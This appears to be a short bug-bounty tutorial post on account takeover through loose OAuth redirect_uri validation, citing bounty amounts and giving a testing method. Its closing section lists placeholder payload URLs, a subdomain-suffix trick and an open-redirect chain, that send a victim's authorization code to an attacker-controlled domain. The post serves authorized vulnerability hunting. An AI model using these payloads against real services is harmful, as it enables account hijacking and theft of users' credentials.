ATO with Open Redirect

OAuth apps trust a registered redirect_uri to receive the authorization code after login. The problem: most servers only check that the value starts with the right domain, not that it matches exactly.

That loose check is the whole bug. No injection, no chaining, no race condition. Just a URL parameter most hunters skim past because it looks like config, not attack surface.

Once you control where the code lands, you control the account. The victim logs in normally, approves the app normally, and the code that should authenticate them gets handed straight to you instead.

Pixiv paid $2,000 for this exact class of bug. Bounties for redirect_uri bypasses commonly land between $1,000 and $5,000 depending on impact, and it shows up across major platforms including Slack and Instagram.

How to spot it: grab the authorization URL, change redirect_uri to a variant of the trusted domain you control, see if the server still issues the code.

Replace AUTH_TARGET with the authorization server, APP_TARGET with the app's registered domain and ATTACKER with a domain you control, then test each payload below.

=> Payload, original request: https://AUTH_TARGET/authorize?client_id=APP_ID&redirect_uri=https://APP_TARGET/callback&response_type=code

=> Subdomain trick: https://AUTH_TARGET/authorize?client_id=APP_ID&redirect_uri=https://APP_TARGET.ATTACKER/callback&response_type=code

=> Path-based open redirect on the legit domain: https://AUTH_TARGET/authorize?client_id=APP_ID&redirect_uri=https://APP_TARGET/redirect?next=https://ATTACKER&response_type=code

If the flow completes and the code lands on your domain, the app is vulnerable.